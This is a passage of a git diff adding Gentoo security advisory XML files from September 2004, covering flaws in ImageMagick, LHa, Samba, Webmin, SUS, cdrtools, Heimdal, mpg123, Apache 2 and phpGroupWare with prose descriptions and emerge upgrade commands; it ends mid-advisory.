+  </background>
+  <description>
+    <p>
+    Due to improper bounds checking, ImageMagick and imlib are vulnerable to a
+    buffer overflow when decoding runlength-encoded bitmaps. This bug can be
+    exploited using a specially-crafted BMP image and could potentially allow
+    remote code execution when this image is decoded by the user.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A specially-crafted runlength-encoded BMP could lead ImageMagick and imlib
+    to crash or potentially execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-gfx/imagemagick-6.0.7.1"
+    # emerge ">=media-gfx/imagemagick-6.0.7.1"</code>
+    <p>
+    All imlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-libs/imlib-1.9.14-r2"
+    # emerge ">=media-libs/imlib-1.9.14-r2"</code>
+    <p>
+    All imlib2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-libs/imlib2-1.1.2"
+    # emerge ">=media-libs/imlib2-1.1.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0817">CAN-2004-0817</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0802">CAN-2004-0802</uri>
+    <uri link="http://studio.imagemagick.org/pipermail/magick-developers/2004-August/002011.html">ImageMagick Mailing List</uri>
+    <uri link="http://securitytracker.com/alerts/2004/Aug/1011104.html">SecurityTracker #1011104</uri>
+    <uri link="http://securitytracker.com/alerts/2004/Aug/1011105.html">SecurityTracker #1011105</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon,  6 Sep 2004 16:14:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  6 Sep 2004 23:42:01 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  8 Sep 2004 07:22:02 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-13.xml b/xml/htdocs/security/en/glsa/glsa-200409-13.xml
new file mode 100644
index 00000000..9cd8112e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-13.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-13">
+  <title>LHa: Multiple vulnerabilities</title>
+  <synopsis>
+    Several buffer overflows and a shell metacharacter command execution
+    vulnerability have been found in LHa. These vulnerabilities can be used to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">lha</product>
+  <announced>September 08, 2004</announced>
+  <revised>October 20, 2006: 02</revised>
+  <bug>62618</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/lha" auto="yes" arch="*">
+      <unaffected range="rge">114i-r4</unaffected>
+      <vulnerable range="rle">114i-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LHa is a console-based program for packing and unpacking LHarc archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    The command line argument as well as the archive parsing code of LHa lack
+    sufficient bounds checking. Furthermore, a shell meta character command
+    execution vulnerability exists in LHa, since it does no proper filtering on
+    directory names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Using a specially crafted command line argument or archive, an attacker can
+    cause a buffer overflow and could possibly run arbitrary code. The shell
+    meta character command execution could lead to the execution of arbitrary
+    commands by an attacker using directories containing shell meta characters
+    in their names.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LHa users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-arch/lha-114i-r4"
+    # emerge ">=app-arch/lha-114i-r4"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0694">CAN-2004-0694</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0745">CAN-2004-0745</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0769">CAN-2004-0769</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0771">CAN-2004-0771</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed,  8 Sep 2004 13:12:24 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  8 Sep 2004 19:32:24 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-14.xml b/xml/htdocs/security/en/glsa/glsa-200409-14.xml
new file mode 100644
index 00000000..20b8715d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-14">
+  <title>Samba: Remote printing non-vulnerability</title>
+  <synopsis>
+    Samba has a bug with out of sequence print change notification requests,
+    but it cannot be used to perform a remote denial of service attack.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>September 09, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>62476</bug>
+  <access>remote</access>
+  <affected>
+  </affected>
+  <background>
+    <p>
+    Samba is a freely available SMB/CIFS implementation which allows
+    seamless interoperability of file and print services to other SMB/CIFS
+    clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to a bug in the printer_notify_info() function, authorized users
+    could potentially crash their smbd process by sending improperly
+    handled print change notification requests in an invalid order. Windows
+    XP SP2 clients can trigger this behavior by sending a
+    FindNextPrintChangeNotify() request before previously sending a
+    FindFirstPrintChangeNotify() request.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    We incorrectly thought that this bug could be exploited to deny service
+    to all Samba users. It is not the case, this bug has no security impact
+    whatsoever. Many thanks to Jerry Carter from the Samba team for
+    correcting our mistake.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no need for a workaround.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Samba users can keep their current versions.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://samba.org/samba/history/samba-3.0.6.html">Samba Release Notes</uri>
+    <uri link="https://bugzilla.samba.org/show_bug.cgi?id=1520">Samba Bug #1520</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0829">CVE-2004-0829</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  3 Sep 2004 20:09:15 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat,  4 Sep 2004 18:44:38 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu,  9 Sep 2004 04:56:22 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-15.xml b/xml/htdocs/security/en/glsa/glsa-200409-15.xml
new file mode 100644
index 00000000..21e23529
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-15.xml
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-15">
+  <title>Webmin, Usermin: Multiple vulnerabilities in Usermin</title>
+  <synopsis>
+    A vulnerability in the webmail function of Usermin could be used by an
+    attacker to execute shell code via a specially-crafted e-mail. A bug in the
+    installation script of Webmin and Usermin also allows a local user to
+    execute a symlink attack at installation time.
+  </synopsis>
+  <product type="ebuild">Usermin</product>
+  <announced>September 12, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>63167</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/usermin" auto="yes" arch="*">
+      <unaffected range="ge">1.090</unaffected>
+      <vulnerable range="lt">1.090</vulnerable>
+    </package>
+    <package name="app-admin/webmin" auto="yes" arch="*">
+      <unaffected range="ge">1.160</unaffected>
+      <vulnerable range="lt">1.160</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Webmin and Usermin are web-based system administration consoles. Webmin
+    allows an administrator to easily configure servers and other features.
+    Usermin allows users to configure their own accounts, execute commands,
+    and read e-mail. The Usermin functionality, including webmail, is also
+    included in Webmin.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is an input validation bug in the webmail feature of Usermin.
+    </p>
+    <p>
+    Additionally, the Webmin and Usermin installation scripts write to
+    /tmp/.webmin without properly checking if it exists first.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The first vulnerability allows a remote attacker to inject arbitrary
+    shell code in a specially-crafted e-mail. This could lead to remote
+    code execution with the privileges of the user running Webmin or
+    Usermin.
+    </p>
+    <p>
+    The second could allow local users who know Webmin or Usermin is going
+    to be installed to have arbitrary files be overwritten by creating a
+    symlink by the name /tmp/.webmin that points to some target file, e.g.
+    /etc/passwd.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Usermin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-admin/usermin-1.090&quot;
+    # emerge &quot;&gt;=app-admin/usermin-1.090&quot;</code>
+    <p>
+    All Webmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-admin/webmin-1.160&quot;
+    # emerge &quot;&gt;=app-admin/webmin-1.160&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/12488/">Secunia Advisory SA12488</uri>
+    <uri link="http://www.webmin.com/uchanges.html">Usermin Changelog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0559">CVE-2004-0559</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1468">CVE-2004-1468</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Sep 2004 12:32:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Sep 2004 10:07:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Sep 2004 16:34:02 +0000">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-16.xml b/xml/htdocs/security/en/glsa/glsa-200409-16.xml
new file mode 100644
index 00000000..72873741
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-16.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-16">
+  <title>Samba: Denial of Service vulnerabilities</title>
+  <synopsis>
+    Two Denial of Service vulnerabilities have been found and fixed in Samba.
+  </synopsis>
+  <product type="ebuild">Samba</product>
+  <announced>September 13, 2004</announced>
+  <revised>September 13, 2004: 01</revised>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.7</unaffected>
+      <unaffected range="lt">3.0</unaffected>
+      <vulnerable range="lt">3.0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a freely available SMB/CIFS implementation which allows seamless
+    interoperability of file and print services to other SMB/CIFS clients. smbd
+    and nmbd are two daemons used by the Samba server.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is a defect in smbd's ASN.1 parsing. A bad packet received during the
+    authentication request could throw newly-spawned smbd processes into an
+    infinite loop (CAN-2004-0807). Another defect was found in nmbd's
+    processing of mailslot packets, where a bad NetBIOS request could crash the
+    nmbd process (CAN-2004-0808).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted packets to trigger both
+    defects. The ASN.1 parsing issue can be exploited to exhaust all available
+    memory on the Samba host, potentially denying all service to that server.
+    The nmbd issue can be exploited to crash the nmbd process, resulting in a
+    Denial of Service condition on the Samba server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba 3.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-fs/samba-3.0.7"
+    # emerge ">=net-fs/samba-3.0.7"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0807">CAN-2004-0807</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0808">CAN-2004-0808</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 11 Sep 2004 15:16:21 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 13 Sep 2004 12:15:40 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-17.xml b/xml/htdocs/security/en/glsa/glsa-200409-17.xml
new file mode 100644
index 00000000..1eaad893
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-17.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-17">
+  <title>SUS: Local root vulnerability</title>
+  <synopsis>
+    SUS contains a string format bug that could lead to local privilege
+    escalation.
+  </synopsis>
+  <product type="ebuild">SUS</product>
+  <announced>September 14, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>63927</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/sus" auto="yes" arch="*">
+      <unaffected range="ge">2.0.2-r1</unaffected>
+      <vulnerable range="lt">2.0.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SUS is a utility that allows regular users to be able to execute
+    certain commands as root.
+    </p>
+  </background>
+  <description>
+    <p>
+    Leon Juranic found a bug in the logging functionality of SUS that can
+    lead to local privilege escalation. A format string vulnerability
+    exists in the log() function due to an incorrect call to the syslog()
+    function.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker with local user privileges can potentially exploit this
+    vulnerability to gain root access.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SUS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-admin/sus-2.0.2-r1&quot;
+    # emerge &quot;&gt;=app-admin/sus-2.0.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://pdg.uow.edu.au/sus/CHANGES">SUS ChangeLog</uri>
+    <uri link="http://www.securityfocus.com/archive/1/375109/2004-09-11/2004-09-17/0">BugTraq Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1469">CVE-2004-1469</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 13 Sep 2004 21:20:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 14 Sep 2004 00:10:33 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Sep 2004 10:08:46 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-18.xml b/xml/htdocs/security/en/glsa/glsa-200409-18.xml
new file mode 100644
index 00000000..802c527b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-18.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-18">
+  <title>cdrtools: Local root vulnerability in cdrecord if set SUID root</title>
+  <synopsis>
+    cdrecord, if manually set SUID root, is vulnerable to a local root exploit
+    allowing users to escalate privileges.
+  </synopsis>
+  <product type="ebuild">cdrtools</product>
+  <announced>September 14, 2004</announced>
+  <revised>September 14, 2004: 01</revised>
+  <bug>63187</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-cdr/cdrtools" auto="yes" arch="*">
+      <unaffected range="ge">2.01_alpha37-r1</unaffected>
+      <unaffected range="rge">2.01_alpha28-r2</unaffected>
+      <vulnerable range="le">2.01_alpha37</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The cdrtools package is a set of tools for CD recording, including the
+    popular cdrecord command-line utility.
+    </p>
+  </background>
+  <description>
+    <p>
+    Max Vozeler discovered that the cdrecord utility, when set to SUID root,
+    fails to drop root privileges before executing a user-supplied RSH program.
+    By default, Gentoo does not ship the cdrecord utility as SUID root and
+    therefore is not vulnerable. However, many users (and CD-burning
+    front-ends) set this manually after installation.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could specify a malicious program using the $RSH
+    environment variable and have it executed by the SUID cdrecord, resulting
+    in root privileges escalation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    As a workaround, you could remove the SUID rights from your cdrecord
+    utility :
+    </p>
+    <code>
+    # chmod a-s /usr/bin/cdrecord</code>
+  </workaround>
+  <resolution>
+    <p>
+    All cdrtools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-cdr/cdrtools-2.01_alpha37-r1"
+    # emerge ">=app-cdr/cdrtools-2.01_alpha37-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0806">CAN-2004-0806</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Sep 2004 07:01:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 14 Sep 2004 15:13:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Sep 2004 20:25:30 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-19.xml b/xml/htdocs/security/en/glsa/glsa-200409-19.xml
new file mode 100644
index 00000000..0389b568
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-19.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-19">
+  <title>Heimdal: ftpd root escalation</title>
+  <synopsis>
+    Several bugs exist in the Heimdal ftp daemon which could allow a remote
+    attacker to gain root privileges.
+  </synopsis>
+  <product type="ebuild">heimdal</product>
+  <announced>September 16, 2004</announced>
+  <revised>September 16, 2004: 01</revised>
+  <bug>61412</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/heimdal" auto="yes" arch="*">
+      <unaffected range="ge">0.6.3</unaffected>
+      <vulnerable range="lt">0.6.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heimdal is an implementation of Kerberos 5.
+    </p>
+  </background>
+  <description>
+    <p>
+    Przemyslaw Frasunek discovered several flaws in lukemftpd, which also apply
+    to Heimdal ftpd's out-of-band signal handling code.
+    </p>
+    <p>
+    Additionally, a potential vulnerability that could lead to Denial of
+    Service by the Key Distribution Center (KDC) has been fixed in this
+    version.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could be able to run arbitrary code with escalated
+    privileges, which can result in a total compromise of the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Heimdal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-crypt/heimdal-0.6.3"
+    # emerge ">=app-crypt/heimdal-0.6.3"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.pdc.kth.se/heimdal/advisory/2004-09-13/">Heimdal advisory</uri>
+    <uri link="http://www.frasunek.com/lukemftpd.txt">Advisory by Przemyslaw Frasunek</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0794">CAN-2004-0794</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 13 Sep 2004 14:06:46 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Sep 2004 04:33:06 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-20.xml b/xml/htdocs/security/en/glsa/glsa-200409-20.xml
new file mode 100644
index 00000000..5d99f240
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-20.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-20">
+  <title>mpg123: Buffer overflow vulnerability</title>
+  <synopsis>
+    mpg123 decoding routines contain a buffer overflow bug that might
+    lead to arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">mpg123</product>
+  <announced>September 16, 2004</announced>
+  <revised>September 16, 2004: 01</revised>
+  <bug>63079</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/mpg123" auto="yes" arch="*">
+      <unaffected range="ge">0.59s-r4</unaffected>
+      <vulnerable range="le">0.59s-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mpg123 is a MPEG Audio Player.
+    </p>
+  </background>
+  <description>
+    <p>
+    mpg123 contains a buffer overflow in the code that handles layer2
+    decoding of media files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can possibly exploit this bug with a specially-crafted mp3 or mp2 file
+    to execute arbitrary code with the permissions of the user running mpg123.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mpg123 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-sound/mpg123-0.59s-r4"
+    # emerge ">=media-sound/mpg123-0.59s-r4"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/374433/2004-09-05/2004-09-11/0">BugTraq Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0805">CAN-2004-0805</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Sep 2004 21:37:49 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 15 Sep 2004 15:59:24 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 15 Sep 2004 18:43:15 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-21.xml b/xml/htdocs/security/en/glsa/glsa-200409-21.xml
new file mode 100644
index 00000000..32a238d3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-21.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-21">
+  <title>Apache 2, mod_dav: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities have been found in Apache 2 and mod_dav for Apache
+    1.3 which could allow a remote attacker to cause a Denial of Service or a
+    local user to get escalated privileges.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>September 16, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>62626</bug>
+  <bug>63948</bug>
+  <bug>64145</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.51</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.0.51</vulnerable>
+    </package>
+    <package name="net-www/mod_dav" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3-r2</unaffected>
+      <vulnerable range="le">1.0.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of most popular web servers on the internet.
+    mod_ssl provides SSL v2/v3 and TLS v1 support for it and mod_dav is the
+    Apache module for Distributed Authoring and Versioning (DAV).
+    </p>
+  </background>
+  <description>
+    <p>
+    A potential infinite loop has been found in the input filter of mod_ssl
+    (CAN-2004-0748) as well as a possible segmentation fault in the
+    char_buffer_read function if reverse proxying to a SSL server is being used
+    (CAN-2004-0751). Furthermore, mod_dav, as shipped in Apache httpd 2 or
+    mod_dav 1.0.x for Apache 1.3, contains a NULL pointer dereference which can
+    be triggered remotely (CAN-2004-0809). The third issue is an input
+    validation error found in the IPv6 URI parsing routines within the apr-util
+    library (CAN-2004-0786). Additionally a possible buffer overflow has been
+    reported when expanding environment variables during the parsing of
+    configuration files (CAN-2004-0747).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could cause a Denial of Service either by aborting a SSL
+    connection in a special way, resulting in CPU consumption, by exploiting
+    the segmentation fault in mod_ssl or the mod_dav flaw. A remote attacker
+    could also crash a httpd child process by sending a specially crafted URI.
+    The last vulnerabilty could be used by a local user to gain the privileges
+    of a httpd child, if the server parses a carefully prepared .htaccess file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache 2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-servers/apache-2.0.51"
+    # emerge ">=www-servers/apache-2.0.51"</code>
+    <p>
+    All mod_dav users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-www/mod_dav-1.0.3-r2"
+    # emerge ">=net-www/mod_dav-1.0.3-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0747">CAN-2004-0747</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0748">CAN-2004-0748</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0751">CAN-2004-0751</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0786">CAN-2004-0786</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0809">CAN-2004-0809</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu,  9 Sep 2004 04:54:03 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 10 Sep 2004 18:02:25 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Sep 2004 20:45:09 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-22.xml b/xml/htdocs/security/en/glsa/glsa-200409-22.xml
new file mode 100644
index 00000000..12557420
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-22.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-22">
+  <title>phpGroupWare: XSS vulnerability in wiki module</title>
+  <synopsis>
+    The phpGroupWare software contains a cross site scripting vulnerability in
+    the wiki module.
+  </synopsis>
+  <product type="ebuild">phpGroupWare</product>
+  <announced>September 16, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>63063</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpgroupware" auto="yes" arch="*">
+      <unaffected range="ge">0.9.16.003</unaffected>
+      <vulnerable range="lt">0.9.16.003</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpGroupWare is a web-based suite of group applications including
+    calendar, todo-list, addressbook, email, wiki, news headlines, and a
+    file manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to an input validation error, the wiki module in the phpGroupWare
